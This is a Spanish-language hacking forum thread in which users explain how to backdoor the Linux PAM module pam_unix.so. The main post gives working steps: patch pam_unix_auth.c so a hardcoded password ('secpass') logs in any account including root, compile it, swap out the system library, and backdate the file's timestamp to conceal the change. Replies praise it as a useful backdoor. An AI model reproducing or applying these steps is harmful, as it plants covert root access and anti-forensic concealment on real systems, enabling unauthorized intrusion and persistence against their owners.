Backdoor en pam_unix.so

Iniciado por Axtrall, 5 Julio 2010, 13:42 PM

0 Miembros y 1 Visitante están viendo este tema.

Axtrall

Hola,

Hace algún tiempo estuve leyendo que se podia modificar pam_unix.so, de manera que para el acceso por ssh del usuario root ( u otro cualquiera) existiera una contraseña definida aparte de la contraseña normal de dicho usuario. O sea, te permita el acceso al sistema usando alguna de esas 2 contraseñas.

He buscado por todos los sitios y no he encontrado nada acerca de esto.

Sabeis vosotros como se puede hacer?

Saludos y gracias por adelantado.
La felicidad es siempre un objetivo, no un estado.

kamsky

Pues "simplemente" tienes que modificar el fuente pam_unix.c para que cuando detecte cierta combinación (p.ej: user: root pass:honolulu) devuelva un ok, después lo compilas para crear la biblioteca compartida y reemplazas la actual por la tuya
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

Axtrall

Gracias por la respuesta.

Pues me puse con el tema y resulta que al final he conseguido lo que queria. Os cuento:

1. Bajarse el source de PAM
ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz

2. Descompilarlo y editar el source que nos interesa  >:D
tar -xvzf Linux-PAM-1.1.1.tar.gz
pico Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c


3. Dentro del código buscar la cadena:
/* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);


4. Justo debajo de esta cadena incorporar un pequeño código:
if (strcmp(p,"secpass")==0 ){

                retval = PAM_SUCCESS;
        }

Donde secpass es la segunda contraseña que utilizaremos. En este caso, con cada login del sistema se podria entrar con esta contraseña (incluso root).

5. Volverse al directorio pincipal del Source y alli hacer:
./configure
make


6. Aunque a mi me dio un error en otra funcion luego, me habia compilado el modulo que queria en modules/pam_unix/.libs/pam_unix.so.
Asi que lo que tendriamos que hacer ahora es reemplazarlo. Para ello primero debemos hacer una copia de seguridad del antiguo modulo por si lo necesitamos:

cp /lib/security/pam_unix.so /lib/security/pam_unix.so.orig
cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so


7. Probar que funciona. Para ello abrimos una nueva session SSH al sistema :).

8. Otra cosa importante sería cambiar la fecha del archivo nuevo creado. Para ello podemos usar por ejemplo:
touch -t 200901022110 pam_unix.so

Con esto ya tendriamos una entrada alternativa al sistema, en casos en los que nos olvidemos de una contraseña :)

Bueno espero os haya servido y espero vuestros comentarios.

Saludos.
La felicidad es siempre un objetivo, no un estado.

toxeek


Muy bien Axtrall :)

Este backdoor via PAM (en sistemas Linux que lo incorporen) es muy util, gracias por explicarlo en este subforo.

Espero mas aportaciones tuyas,

Un saludo.

"La envidia es una declaración de inferioridad"
Napoleón.

Axtrall

Ha sido un placer :) .
Iré posteando cosas segun las vaya probando :laugh:
La felicidad es siempre un objetivo, no un estado.